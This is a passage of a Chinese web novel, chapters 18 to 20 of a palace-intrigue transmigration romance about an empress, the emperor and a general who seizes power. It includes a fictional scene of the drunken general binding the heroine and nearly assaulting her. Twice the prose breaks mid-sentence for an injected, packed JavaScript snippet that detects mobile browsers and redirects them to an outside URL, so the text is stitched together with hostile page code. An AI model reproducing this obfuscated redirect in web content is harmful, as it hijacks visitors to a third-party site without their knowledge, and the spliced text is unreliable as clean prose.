都知道船会翻了,干嘛还闭眼往上跳啊?! 萧清维沉默了片刻,瞥向一旁的桌案。 并非应允,只是需要朝中一些人牵扯住沈朔的精力,方便暗中行事。桌案上堆叠的半干临帖下,掩盖了命外藩入京勤王的诏命。 这不是一步好棋,但他早就没了手下棋子。 饮鸩酒止渴,便是真有藩镇挥师而至,局面也不会变得更好。 “我知晓瑶娘你想要居中斡旋,借旧日情分求得一点安稳。但是瑶娘你有没有想过,倘若他日.我二人必有一亡,你会做何选?” 郑珣:“……?” 女朋友和妈掉水里,先救哪一个么? 18.旧日青梅18 女朋友和妈同时掉水里。 郑珣没想到,有朝一日,自己还会遭到这种灵魂拷问。 但好在萧清维不是蛮不讲理的女朋友,他立刻就敛下眉眼,轻声:“抱歉,我不该问这样问题,让你为难了。” 郑珣:“……” 明明什么都没干,为什么良心在痛。 还不待郑珣回答,便有内侍匆匆赶来,“启禀陛下,沈将军在外殿求见,说是有要事要禀。” 萧清维心下轻叹,来得倒是很快。 约莫算算,从那边接到他到凤来宫的消息,前后也不过小半个时辰,当真是半刻也不想让他在此停留。 他没有回答内侍的话,而是转向郑珣:“瑶娘,你想要我去吗?” 郑珣:??? 这跟她有什么关系? “国事要紧——” 明明无论从什么角度看都没问题的四个字,郑珣觉得这话一出,对面人眼底的光都暗了,她不由自主地就将后半段话咽下去了。 萧清维这到底是要干什么啊?! 她内心挣扎了片刻,选择转而向内侍:“沈将军有说有何要事吗,边关告急?宫城被围?” 内侍似乎卡壳了一下,顿了顿才答:“想来不是。” “那是何急事?” “奴、奴也不知。” 最后还是把内侍打发回去了。 非工作时间不接电话,既然不是十万火急的大事,那就留到明天再讨论。 但内侍走后,郑珣看着留下来的萧清维,整个人都不得劲了。 她迟疑了半天,表情怪异、吞吞吐吐,“你觉不觉得,我们就像、像是……” “嗯?” “昏君和妖妃!” 萧清维怔了一下,旋即哧地笑出来。 似乎被莫名戳中了笑点,他越笑越厉害,整个人都俯身伏在案上,眼泪都笑出来。一边笑,还一边抬手招呼着,叫了个脚快的小宫人,让他专门去追着刚才的内侍去补上一句话去。 见了他所作所为的郑珣:“……” 她忍不住抬眼看向萧清维,青年因为刚才大幅度动作,发冠松散,鬓发上几缕碎发零碎地散落下来,整个人显得颠颠的。 郑珣:“……陛下?” 话还未落,整个人却被腾空抱起,落坐在桌案上。 杳杳墨香沁入鼻尖,刚刚临帖的书法被蹭得落到地面,又被郑珣踩在了上面,虽然只是书法而非什么奏章,但这画面的既视感简直太强了。 ……真就“昏君和妖妃py”呗? 郑珣第一反应是先转头去看那一摞宫宴安排的折牒,见这正经文书没事,才轻轻松口气。求爷爷告奶奶才安排妥当的宴会,都临门一脚了,要是给她弄砸了,别管什么py,她都要翻脸的。 但待转头看向萧清维,却不期然地愣住了。 萧清维正仰面看着她,似乎是刚才被戳中笑点的那点还未散去,但眼神却要黯沉得多,原本温润的瞳眸有更为幽邃的情绪浮浮沉沉,郑珣无法分辨那其中的情感。只是刚才因笑意溢出的泪水打湿了眼睫,郑珣莫名觉得他其实在哭。 她忍不住伸出了手。 指.尖还未触到眼角,便被那濡湿的漆黑羽睫扫了一下,而随着这眨眼的动作,一滴泪从他的眼角淌出。 郑珣原本想要碰触他脸颊的动作顿了下,转而用指腹轻柔地抹掉那颗泪。 从头到尾,青年一直在看着她。 不管是眨眼之前,还是眨眼之后,那双温润的眸子并不似想的那样清澈透亮,可是却一直清晰着倒映着她的身影。 仿佛被蛊惑一样,郑珣忍不住倾身往前,在那殷红湿润的眼尾落下轻轻的一吻。 下一秒,却几乎是被拽着撞入怀中,激烈的亲吻胡乱地落在颈侧唇边。郑珣被他挤在身体与桌案之前,呼吸都要喘不过来,忍不住抬手去推他。 萧清维似乎终于冷静了些许,手臂撑在案上,让开来一点间隙,将郑珣圈在自己和桌案中间,胸腔仍旧激烈地起伏着,烫人的热度几乎够透过凌乱的衣衫穿过来。 他平复了片刻气息,才低垂下头。 散落下来的发丝冰凉地轻扫过颊侧,随之而来的呼气却烫得灼.热。 郑珣听到耳畔低低的、缱绻地,“瑶娘~” 原本清润的声音染上情.欲的涩哑,仿佛要顺着耳廓直直地钻进人的心底,连带着脑中的清明也被搅成了一团乱麻,方才那眼角一滴泪珠不知怎么又在模糊间闪现。 郑珣手指蜷了蜷,原本抵在青年胸口的手臂松了力道,素白的指.尖顺着衣衫的褶皱下落,直至勾住了腰间的玉带。手指勾着的扣带解开,她却是凑过去亲了亲萧清维眼角。 别哭啊。 我陪着你,不要那般难过。 * 回禀的内侍很快赶到了外殿,对着阶下侍立的将军道:“陛下已经在凤来殿宿下了。” 内侍去禀报时,尚且天光昏昧,可一来一回,天色已然暗下。 这会儿说是“宿下了”,倒也合适。 沈朔神色未动,只是捏着笏板的手紧了紧,手背上隐有青筋浮现。 在落后一步赵成卓表情紧绷的注视下,他往前踏了一步,沉声,“烦请内官禀报,明日大傩仪式的巫祝中查出可疑人等,事关大傩之礼、又涉陛下安危,不可轻忽。” 内侍犹豫了片刻,开口道出了方才宫人跑来补上的那话。 “陛下道是‘天子既居于内宫,军国机要之事便一应交由将军处置’。” 落后一步的赵成卓:“……” 这天子当真是比他还促狭。 赵成卓还在琢磨怎么回这话呢,便听到沈朔手中的笏板发出牙酸的声音,而空着的那只已经无意识地摸刀了。他眉心一跳,当即也顾不得深想了,忙从后拽了沈朔一把,自个儿则已经麻溜地跪下,“将军谢过陛下信任!定不复陛下所托。” …… 宫城往外走的夹道上,赵成卓觉得自己的心脏仍旧咚咚直跳,后背上里衣的内衬被冷汗湿了一层,正冰凉地贴在脊背上,寒意几乎渗到了心底。 赵成卓这会儿只庆幸自己怕出意外,跟着沈朔一同入了宫。 要不然真不知这位祖宗会干出什么事来! 他定了定神,开口劝道:“明日便是岁除宫宴,再过一日就是元日的朝会。满打满算不过两日光景,这一路上都耐过来了,难道就差这两天吗?!” 沈朔却只是一味沉默地往前走不答话。 宫廷戍卫的武库就在外围,谁知道他这是调兵啊,还是出宫。 赵成卓更急了,他使劲拽了沈朔一把,便是压低了声音也能听出调子尖锐,“两日,还不到两日!待到元日朝会结束后,你做什么不行?!便是直接将人从宫里抢出来,绑在榻——” “赵伯谦。” 听人越说越是过火,沈朔不由地加重声音打断。 被这半是喝斥了一句,赵成卓反而神情一松:太好了,人还清醒着。 他终于能出了口气,循循劝解,“主公冷静啊。都已经忍了一路,不差这么点时间,咱们不能在此刻功亏一篑!” 沈朔反倒是轻笑了一声,“伯谦以为我会做什么?” 他不笑还好,这么一笑,赵成卓刚刚松得那口气又提起,顿感身上一阵皮紧。 并汾早年混战,局势可没有那么安稳,他可是亲眼看见眼前这位是怎么抓着那四下劫掠的异族俘虏,笑着在阵前一刀一刀把人剐了的。 又听得那人笑问:“难道我会那么闯入宫闱,将天子乱刀砍死吗?” 赵成卓:“……” 你想过吧!你绝对想过!! 他瞄了一眼自家主公握着刀的手,飞快地收回了目光,老实闭紧了嘴跟在身后。 虽然都气笑了,但既然人还有理智在,他就别在这时候触霉头了。多说多错,还不知道哪句话戳着了刺,连累得自个儿受挂落。 没了赵成卓喋喋不休,沈朔也渐渐收敛了那不达眼底的笑意。 空中飘下几颗细碎的雪粒子,因为天色暗下,凉意落到脸上才让人觉出,挎着刀的手背上也落下了几颗雪粒,很快就被体温融化成了水珠。冰凉凉的触感透过皮肤传来,身侧宫墙有如城墙,沈朔不由想起了离京的那一日,原本冷肃的神情有些怔然。 身后赵成卓也觉出了下雪,伸手去接了一片雪粒,喃喃地,“明年是个好年景。” 瑞雪兆丰年。 好……年景吗? 沈朔不由地出神。 他想赵成卓还是说错了,并非两日,也非一路上,而是整整的八年。 他等了 有八年。 祖父自戕、沈氏败落。流放路途难熬,饥寒交迫有之,更兼之山河寥落,四野盗匪横生,叔伯兄弟或病亡或流落,这一路流放下来,他竟然领出了一队兵来,也从被押解的犯人变成了“头儿”。 却并没有变得更好。 怎么会更好呢?入目皆是血色,耳畔回响尽是哀鸣,鲜血的锈气溢满了鼻腔。这样的一切怎么会“好”呢? 于是所有的念想便都成了曾经帝都之中打马过街、嬉笑闲闹的一场美梦,她又是那美梦中的最美的一抹霞色。 所念所想、所梦所求,便都被寄寓到了上面。 如那块被小心翼翼地珍藏着的碎玉。 * 雪越飘越大,原本只是细碎的雪粒子,不过一会儿便成了雪花,雪花渐渐密集变大,地面上的青石板路很快被白雪掩盖,但因为宫殿内炭火的缘故,檐上瓦片尚未染霜色,旋着的雪花飘落屋顶,就被屋内暖意融化,水珠顺着屋檐的水槽淅淅沥沥地滴下。 凤来宫西侧的暖阁里,厚重的帐幔挡住了外头的寒气,殿内被地龙熏得暖意如春。 侧边的香炉渺渺升腾着烟气,幽淡绵长的安神香气掩盖了屋内靡靡的气味。 萧清维侧着身靠在案几上,外袍松松披在肩上,内里的里衣也凌乱得半敞着,面上却带着点不知是懊悔还是无奈的神情。 居然当真胡闹了一场。 他半是盘着腿坐着,侧边的女子已经枕着他的腿睡过去。 地上铺着一层皮毛的褥垫,女子莹润的小腿祼露在外,陷于柔软地皮毛之中,萧清维不自抑地盯着看了一会儿,又轻咳了一声挪开了视线。 听到外头隐隐有走动的动静传来,不及靠近,萧清维已经扬声止了,“无事。不必进来。” 她不喜欢这时候让人近前侍候。 方才也是萧清维亲力亲为地帮人整理了那散落的衣衫,不过也未等打理好,她便就困倦地睡过去。 外头宫人闻声应是,那脚步又渐渐避得远了。 萧清维侧耳听了会儿,又抬手轻拢了拢女子散乱的发丝,手指顺着乌发的间隙顺下,但落下去却不顺畅,她刚刚生了一层薄汗,几缕头发被打湿了沾在颈侧,又因为睡梦中发丝被扯动而觉得不适,禁不住蹙了一下眉。 萧清维动作立刻就止了,他放轻了力道在背上拍抚。 低垂的浓睫颤了颤,又安静地阖上,膝头原本将醒的人又安稳地睡了过去。 萧清维又听着外面的动静,听人都彻底走开了,才趁着这个空档,拿起了案上那枚皇后印玺——白玉螭虎的印纽,和天子八玺中的皇帝之宝近乎相同,不过是底下的钤文略有不同。这才是皇后别于其余妃嫔之所在,天子若有不测,皇后代行诏命。 这印玺平常也是不拿出来的。 不过明日岁除大宴,这种年底的祭祀安排必定要用到这枚印玺,他又一来了就占了书房,让她未来得及将之收起来。 而在此时此刻,萧清维将之印在了那几封求外藩援兵的诏书上。 他耐着性子,仔细又端正地盖上印,待印泥晾干,才将那诏收了起来。 复又低下头,手指轻轻抚着那漆黑的乌发,原本散乱地发丝被轻柔地理顺拨到了一边,只留下内侧的几绺被汗水打湿黏在脖颈处,萧清维轻柔仔细地将之一一捋顺,指.尖又轻轻覆在颈侧留下的红痕上,轻轻摩挲着。 屋外的大雪纷纷扬扬地落着,暖阁内却一派盎然春意,心上人卧于膝侧安睡。 若是一切当真如目之所及这般就好了。 萧清维手指沿着颈侧的痕迹往上,轻抚上血色充盈的唇.瓣,又掠过绯霞洇染的眼角,似乎是想要以指.尖描摹记住这张面容。 良久,他低声轻问,“你会恨我吗?” 自然是没有回答的。 一声似叹似笑的声音在暖阁内缓缓漾开,问这话的人似乎已经释然了。 那日的大火太过灼烈,烫得人生疼,似乎要将那灼烫也一同印刻到了骨血里,便是如今已知道真相,他仍不满于那歉意下的温柔,那点轻柔的好太浅太淡,尤其是她为另一个人有那般浓重的作为之后。 萧清维手轻柔覆在女子的鬓边,他低垂下眼,噙着笑意温柔地看过去。 恨也没有关系。 你有多爱他,便有多恨我。 19.旧日青梅19 岁除夜。 庭燎的火光映亮了院落,代表疫病邪祟的托身被或埋或烧,驱邪除疫大傩仪式告一段落,接下来便是殿中宫宴了。 郑珣借着转身的功夫,不引人注意地打了个哈欠。 在小世界日出而作日入而息久了,冷不丁的一熬夜居然有点撑不住,但接下来还有殿中守岁,她得撑着这身沉重的行头熬个半宿。郑珣心不在焉地想着这些,表面一派庄重地在天子之侧落座。 面前的桌案上早就摆着酒菜佳肴,赞者高声唱喏,下方宗室百官纷纷祝辞,帝后也自然举酒回应。 郑珣直接被这一杯酒喝得清醒了。 酒加了花椒,还加了柏叶。 郑珣本来就不爱酒的味道,花椒和柏叶往里一泡,不知道说是辛辣还是苦涩的味道直冲鼻腔。 ——这是人类能喝的东西吗?! 灵魂深处发出震耳欲聋的质问,郑珣硬生生地把这一口酒吞了下去。 再回神,眼前的漆碟里被夹了一块桃穣。 她微微偏头,就见旁边萧清维对着她笑,“椒酒驱寒辟邪、柏叶意在长寿,你若是不爱喝,吃桃子也是一样的,福寿绵长、岁岁欢喜。” 兴许是殿内烛火的缘故,郑珣总觉得那笑容显出几分不太真实的缥缈。换上这庄重朝服后,便好似一切都遮在了厚重的冕旒之后,让人无从碰触,也让人不舒服极了。 郑珣眨了下眼,突然小声开口,“你喂我。” 萧清维愣了下,旋即却是笑开了。 他几乎是宠溺地回应,“好。” 郑珣:“……” 刚才不知道怎么脑子抽了来了这一句,但是这宫宴的场合,下面的宗室百官都看着呢,显然不合适。 萧清维用了和先前饮酒相同的动作,抬起了宽大的袖子遮掩动作,郑珣忙会意地抬起另一边。翟衣宽大的袖摆遮掩下,她叼住了那颗桃肉蜜饯,小心翼翼地不沾上口脂地咬了一半,又半是偏过头去,示意他去咬另一半。 浸着糖的桃肉甜蜜地在齿间化开,她笑着祈愿:“分甘共寿,与子共襄。” 萧清维一时都忘了放下袖摆。 翟衣庄重,灯影憧憧,眼前是退去却扇的明丽容颜。 一切都如此仿佛,似是当年分匏合卺。 * 下首文武分列,沈朔落座于武将最前方,紧挨着宗室。距离这么近,自然将上首的帝后亲昵看得清清楚楚。 再往后九卿席上,赵成卓都快冒汗了。 亲祖爷爷唉,这可就几个时辰,您可千万忍住了! 赵成卓其实都做好了沈朔中途掀桌子的打算。 将明日的朝会废后奏请挪到了今晚的宫宴上,虽说不那么合规矩,但是百官都在呢,也……勉强算是可行。 好在他的担心没有成真。 沈朔只在宴席的最开始往上首看了几眼,之后便专心用膳,或是垂首宴饮,或是与群臣交际、再或者欣赏歌舞。除了饮酒频率比往常高些,其余显得一切如常。 一直到午夜时分。 新年交刻,远处的钟鼓楼传来悠远钟声,在这沉厚的撞击声之中,旧岁除去、得迎新日,群臣立时举杯邀祝,酒又行过一遍,这场宫宴便该散了。 沈朔也与众臣一起,俯身恭送帝后。 赵成卓从宴席开始一直提起的心终于放下了,但是很快就发现自己放心得太早了。 他几乎立刻就发现了沈朔走的方向不对,“你不回去?!你去哪?” 沈朔却只是淡淡地瞥了他一眼。 他其实有些醉了,眼前所见都有些模糊,眼神依旧锐利,但仔细看看视线的落点有轻微的漂移,但夜色将这些轻微的异样遮掩,让人无从分辨。 赵成卓不敢说话了,他只能在心底拼命劝慰自己。 安插在天子身边的人已经报知,天明时分的元朝上李翊会上疏奏请宫禁守卫不力,这一晚都没出什么事,多半事落在后半夜。虽然沈朔已经吩咐了沈周伯把皮紧一紧,但年轻人容易急躁,沈朔要是因此不放心决定亲自看着,也可以理解……是吧?是吧!肯定是这样。 不管是不是,赵成卓也只能这么想了。 难不成他能把人绑出宫去不成?! 赵成卓最后也只能拜礼,“主公心底有成算便好。” * 另一边,总算回到凤来宫,郑珣整个人都又累又困,人都快厥过去了。 她从下午开始都没闲着,这一身行头堪比负重,便是坐在那儿不动,几个时辰下来人也要受不了,更别提还要大傩仪式的时候还要来回走动。等到宫人把发冠首饰依次拆下,翟衣绶带也跟着褪.去,郑珣有种自己重新活过来的感觉,连喘气儿都变得通畅了。 她整个人都瘫开成一张饼、背靠在凭几上。 后边一个宫婢半揽着她在酸痛的肩颈上力度始终地按揉着,前面的宫婢端着盆浣洗着棉巾,轻柔地擦去脸上的妆容。 享受着顶级待遇的郑珣舒适地喟叹出声。 有一说一,在某些时候,这皇后当得还是很享受的,就是不知道还能当多久。 正想着这些,突然听到外面一阵嘈杂。 郑珣艰难地从小姐姐的温柔乡里抽出一点儿心神,问:“外头怎么了?” 没有回答。 但她能明显感觉到身后的宫婢整个人都僵住了,按揉着肩膀的手失手错了力道,郑珣甚至都听到自己肩膀和大臂接缝的骨骼传来一声牙酸的闷响,她疼得差点眼泪都飚出来——这是要谋杀吗?! 一抬头,却看见了眼前本不该出现的人影。 “沈元初?!” 郑珣连疼都顾不得了,错愕到直接叫了人的名字。 青年没有说话,殿内的灯火摇曳将他的神情映得昏暗不明,身后敞开的大门将寒风灌了进来。 郑珣已经换下了那件深青绣鸟的翟服,浑身上下只着单薄寝衣,被冻得打了个哆嗦。 周围跪了一地的宫人也瑟瑟发抖,但她们发抖或许不是因为冷。 有人擅闯皇后寝殿,正常来讲宫人应当怒而呵斥,但里头这些人在几个月之前刚刚经历过安温册之变,原本护卫宫城的禁军闯入殿中,四处打砸着掠夺珍宝,凌辱宫人,凡有阻拦便是抽刀劈砍。那蒙着血色的一.夜尚去不久。如今所见,让人不得不思旧事重演,心中恐惧顿生。 沈朔终于开口了,却是沉着声:“出去。” 没有人动,刚才给郑珣擦脸的那宫婢甚至脸色惨白地挡在了她的身前。 她大抵是想要说些什么,但嘴唇哆嗦了半天,却只从喉间发出嗬嗬的呼气声。 郑珣从身后拍了她一下,差点被过激反应地甩开,郑珣安抚地在她肩上按了按,压低声音,“你先带人出去。” “殿下!” 郑珣重复,“出去。” 她是觉得回来一路上和沈朔相处间透出些过往的熟悉感,但那日天兴城外,也是他,直接一杆长槊将安温册捅了个对穿钉在地上。她不能拿这些人的命赌。 “……是。” 宫人陆续起身退开、鱼贯而出,敞开的大门在青年的身后关上,殿内一时只剩下郑珣和沈朔二人。 但门虽然关上了,但刚刚侵入的寒气未散,郑珣还是冻得直抖。 本来对面一身宫宴的大礼朝服,她穿着寝衣就很没气势,再哆嗦起来就更落下风了。 沈朔往前走了一步,郑珣警惕地后退,但因为腿又哆嗦着又没看路,她被脚后不知什么东西绊得踉跄了一下。 郑珣:……我不要面子的吗?! 她怀着悲愤的心情,暗自掐了自己一把,扬声问,“沈将军深夜造访,有何——呕!!” 郑珣发誓自己不是故意的,但沈朔在她开口之际,直接一步跨上前来,抬手就把她掀到旁边的美人靠上了。郑珣本来就累 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614087|203210||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 得头晕眼花,被这么天旋地转地一晃,她没吐出来只是干呕已经够克制了。 这么就静下来发现,刚刚那一下也不单单是晃的,也可能是熏的。 沈朔身上的酒气重得冲人,他整个人半撑着压在她身上,那并不舒服的气味让郑珣挣扎着扭头往后躲开。 朱漆的大殿空荡荡得近乎凄寂,而殿侧原本供人午间小憩的软榻上,交叠着一双人影。大礼朝服深紫的衣料硬挺,更衬得寝衣柔软如流云,那一身雪衣的清丽女子宛若被压住翅羽的白鹭,浑身颤抖地想要摆脱桎梏,却只在挣扎间散落下柔软又洁白的羽毛。 灯台的烛影将周围一切映出暧昩的色彩,拉长影子映照在帘幔之上,放大后又被光线扭曲了的动作幽诡森然。 外间传来细小的抽泣声。 沈朔却有些恍惚,细小嘈杂的声音往耳朵里钻,脑子里有一根弦在突突地跳着,迟钝的感知终于后知后觉地将周围的一切呈递过来。 他竟真的如此做了。 在身前推拒的手力道几乎可以忽略,那两只手腕纤细得过分,他单手就可以抓住拉开摁在头顶上方,让她全无反抗之力地袒.露。 但身侧的手收紧又放松,他终究是无法这么动手。 沈朔低头往下看。 她在挣扎间,身前交领的衣襟散开,自脖颈侧沿着锁骨往下,深浅不一的印痕沾染其上,宛若雨水打落花间残红,在散落的青丝掩映下若隐若现。 沈朔阖了阖眼,没有再看下去。 倘若继续看下去,他都不知道自己会做出什么畜生事来。 身侧的五指收紧又放松,沈朔拨开那无力推拒着的手腕,强行掰着人的下颌转过来,“你觉得恶心?” 我只是碰你一下,你便觉得恶心。 那他呢?你任由他在身上留下这样痕迹的时候,为何不觉得作呕。 被当面扑了一脸酒气的郑珣:“……” 这不废话吗?你自己闻一闻! 臭死了啊!! 她没有答话,但是从眼底眉梢,每一寸肌肤都给出了答案,挣扎着想要偏过头去的动作之激烈,让他捏着下颌的手都差点没能按住。 沈朔突然有点想笑,他也确实笑出了声。 而与之相反的,那个从他踏入宫殿开始,一直喋喋不休、声音扰人地想要阻拦的少年虚影陡然安静下去。 如同那次一样,影子上裂开的寸寸纹路,血液顺着裂纹淌下。 只不过这一回,鲜血染红了新雪般的寝衣,惹得衣衫主人厌烦厌恶地皱眉,少年似乎仓皇地想要擦拭干净上面的血污,但是那本就流着血的手只能越擦越脏。 他最后只能无力用那布满血污的手捧住女子的脸,在她耳边低低呢喃,[不要讨厌我……不要厌恶我,阿珣……] 一滴血泪落在了那张明丽动人的脸上,却被女子满脸抗拒地扭闪躲避。 沈朔闭了闭眼,不想看这样的场景。 ……算了,就这样吧。 他想着,松开了捏着下颌的手,俯身亲吻到那因躲避而仰起脖颈上,空出的手往腰上一扯,两下将那推拒的手腕以帛带缠绕,悬在了榻上上方的雕花纹路上。 本来心底非常确定沈朔不会干什么的郑珣:??! 不是?你来真的?! 终于有点正经危机感的郑珣整个人都不好了,“沈元初!你清醒点!!” 她有被沈朔一刀捅死的猜测,也没想过他会干这种事。人再怎么变,有些事也不至于!沈朔总不会变成强迫女孩子的人渣啊!! 郑珣这一挣扎,刚才被宫婢按得隐隐作痛的左肩登时“嘎啦”一声,剧痛让她脑子都空白了一会儿,眼泪不受控制地淌出来。 脱臼了!绝对脱臼了!! 鸣锣铮然敲响,远处传来宫人扯开嗓子大喊的声音,恰恰好压过了郑珣的痛呼。 “走水了——!!走水啦!!!” 20.旧日青梅20 锣鸣声一响,沈朔就离开了。 走得很匆忙,根本没有给郑珣解开。 他、没、有、解、开!!! 郑珣就这么被悬吊着脱臼手臂,被绑在这个美人靠上,疼得她眼泪根本止不住,连鼻涕都糊了满脸。 就在郑珣骂到第三十遍“沈朔是个王八蛋”的时候,外面终于有了动静。 殿门被打开,近身侍婢先走进来,一进殿门就看见皇后殿下衣襟散乱,腰间的帛带缚在腕上,两条手臂被牢牢地悬在头顶。便是那日安温册劫掠宫城,皇后殿下仍能游刃有余安排好宫中事务,再坦然放下一些跟随圣驾前往天兴,一派镇定自若的凤仪气度,但如今却满脸狼狈的泪痕。 听到身后有动静,侍婢忙厉声喝道:“都不许进来!” 什么不许进来?快多来几个人把她放下来啊! 郑珣想开口,出声却只有破碎地哽咽:“……呜。” 只这一个侍婢,解开手上缚带的时候,果然搞得关节挪动,已经趋于麻木的疼痛顿时锐利起来,郑珣张嘴想要叫,结果牙齿咬到了舌尖,还不及喊出声,那侍婢不知为什么脸色大变,竟然直接扯了一块布把她嘴给堵上了。 郑珣:“……唔……唔唔!仮欳毋……” 放开、放开啊!不叫就不叫,堵什么嘴啊?! 她这还是皇后呢,底下的人就这么大逆不道,就是在安温册手上,她都没沦落到这待遇。 被堵了嘴失去了发声渠道,郑珣转而向系统要求“宿主保护”。 结果被义正词严地堵了回来,[经检测执行者当前疼痛评级不影响正常行动,也无造成心理创伤隐患,疼痛是身体自我保护机制,为避免广大执行者在小世界内轻忽个人安危,采用风险等级偏高的任务方案,造成不必要的折损,穿书局对相关保护开启条件审查严格,请执行者谅解。] 郑珣:[我TM都快疼死了,你告诉我这不影响?!] [请执行者放心,目前的疼痛程度暂无致命风险。你当下感受到的剧烈痛感,多为躯体不适叠加情绪应激,放大了主观痛觉体验,属于临床常见的痛觉表现。] 郑珣:……又是想和这个人工智障同归于尽的一天。 侍婢在简单打理过郑珣之后,出去叫了个人,是先前给郑珣按肩膀的尚药局的女医。这人本就专司导引按摩正骨而被派过来给皇后解乏的,进来一打眼就看出了郑珣手臂位置不对,一顿分筋错骨手给郑珣按回去了。 郑珣这会儿有点庆幸自己堵着嘴了,要不然值夜的宫人们就能听到一阵杀猪般的惨嚎回荡在凤来宫的上空。 说起值夜的宫人来。 堵嘴布被拿开,郑珣在这两人小心翼翼的注视下,靠着软榻虚弱地缓了半天,气若游丝地问:“刚才外面喊‘走水了’,是怎么回事?” 侍立的二人面面相觑。 显然光顾着里面的变动了,根本不知道外边发生了什么事。 郑珣艰难撑直了身,“披件衣裳,我出去看看。” 刚才疼得太过,这会儿起身一个腿软,被旁边人扶了一把才站稳。 那位尚药局的女医迟疑着开口:“殿下.身上若还有伤处……最好清洗过,再瞧瞧要不要上药。” 郑珣茫然。 脱臼还要洗吗? 她不解地看向女医,后者恭谨地低头避开了她的视线,似乎连呼吸都放轻了。 郑珣活动了一下左臂,感觉灵活度已经恢复,一切良好,于是道:“暂且无事。先出去看看罢。” 女医似乎想要说话,被旁边的侍婢飞了个眼神制止。 二人一起低头应是。 郑珣没注意到两人这小动作,她已经拉开系统,开始查看这次起火的始末了。 前一天晚上才从萧清维那听到“李翊要在元日朝会上参奏禁军守卫宫城不力”,这火多半不是平白无故起的。 但系统在调查这些事情上,既好用又不好用。 说它好用,因为它精准地给出了火灾发生的时间地点和周围情况,立刻确定了是一起故意纵火。烧起来的是一间很偏的宫殿,闲置了许久,晚间连灯都不会点,不该有意外的火苗,而起火的时候,里面被放了大量的稻草,柱子上还被泼了桐油。 但经过一系列严密的推导,系统最后给出的结论是宦官所为。 宫廷值守的禁军大换血,一群曾经依附过安温册的宦官惶惶不安,故而在元日里弄出这么一场大火,试图表明天降流火以昭不祥,如今朝中把持权柄的沈将军是大大的不祥,该问罪。 郑珣看得闭上了眼。 最扯淡的是,这种一看就很扯淡的行动理由,有些傻.逼还真能干得出来! 在宫中这几年,郑珣见过扎小人的、贴符咒的、画点看不明白涂鸦诅咒的,种种手段不一而足,她现在已经完全升华了,心平气和地接受这个曲折的诬陷方式,能据此做进一步推测。直接纵火的宦官或许真的是这么想的,但是结合萧清维说的“李翊准备元日大朝上参奏禁军守备不力”,事情显然没有这么简单。 郑珣最后也没能去探明白背后的情况,她根本没能走出凤来宫的宫门。 执戟卫士长兵交叉,挡住了她往外走的路。 凤来宫被围住了,现任禁军统领的龙武大将军沈周伯亲自带人围的。 一身寒甲的沈周伯上前一步,叉手行礼,“元日禁中失火,恐有贼人作祟。为殿下安危计,还请殿下在宫中歇息,得事情查明后再出外走动。” 郑珣心底猛地一沉。 沈朔知道这事,还早有准备……就说李翊那一帮人出的馊主意,妥妥是条贼船啊!就是不知道萧清维现在上没上船了。 郑珣又问:“陛下如何?” “殿下放心,陛下处自然有我阿兄照管着。” 郑珣心凉了半截,沈朔这是根本不打算查,准备直接一锅炖了。她心知沈朔此次回京必要夺.权,但没想到居然会这么快。 想明白大概的关窍,她抬脚就想要往紫宸殿走,“我去见陛下!” 唰啦! 沈周伯直接抽刀出鞘,贴着殿门边沿往青砖缝隙里一插,“殿下见谅,臣领的是军命。” 郑珣:“……” 郑珣:“操!” 本来一身寒霜、眉目凛然沈周伯:……? 他像是怀疑自己听错了,表情有点懵又有点不确定地抬眼看向郑珣,耳朵还往这边转了转。 郑珣没管沈周伯这小动作,一撩裙角就地在台阶上坐下了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618953|203210||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 打开系统看今晚的宫中这场大火的进度。系统给的并非直播,而是当下大概的进展概要,有点类似于早些年网络不发达时候的文字直播帖,还带有明显延迟,郑珣估算过延迟时间,如果遣个内宦或者婢女来回跑趟,所花费的时间便与此相当,显然是某种制约限制的规则。 沈周伯不知这些内情,被郑珣这么一出整得有点不会了。他一时也不知道该收刀,还是该继续把人往里赶,不由低头盯着人看了眼。 这一看倒是看出点不对来。 女子的发髻匆忙挽起,几缕发丝凌乱地从鬓边落下,脸色不太好看,仔细瞧瞧眼角还有点红,好像是哭过了。 再想想之前二兄脸色难看地从凤来宫出来,两人这是吵架了? 沈周伯想不通,他不明白这有什么可不高兴的。比起跟着那个被架起来的天子当窝囊的劳什子皇后,做他二兄的徐国夫人可风光多了! 二兄那么喜欢她,便是要天上的星星都肯去给她摘。 脑子里转着这些念头,突然被一道清泠泠的目光一瞥。 女子的眼型柔和流畅,下眼睑却如三月柳叶,在尾部轻柔上扬,明明眼眶还红着,但那眼眸被火光映得明亮,竟从中看出明丽又亮眼的生机来。 沈周伯被看得一愣,下意识地问:“怎么了?” 郑珣:“……” 她才要问怎么了。 这小子从刚才就死盯着她,仿佛一个错眼她就会跑了似的,果真是对他哥的命令执行得一丝不苟。 郑珣默默腹诽了一句这小跟屁虫,问:“你不去准备今晨朝会?” “不必。年前从大傩仪式侲子身上查出不明膏油,二兄已以此为由,重整宫城皇城布防,连京城十二门——” 说到一半突然发现自己被套话的沈周伯:“。” 他闭上嘴拔出了插在地上的刀,收刀回鞘,半转了身侧对着郑珣,冷下脸不出声了。 郑珣:“……” 她可就问了一句。是这小子嘴巴跟漏勺似的,全都交代了。 ……准备充分啊。 郑珣在心底幽幽地叹了口气。 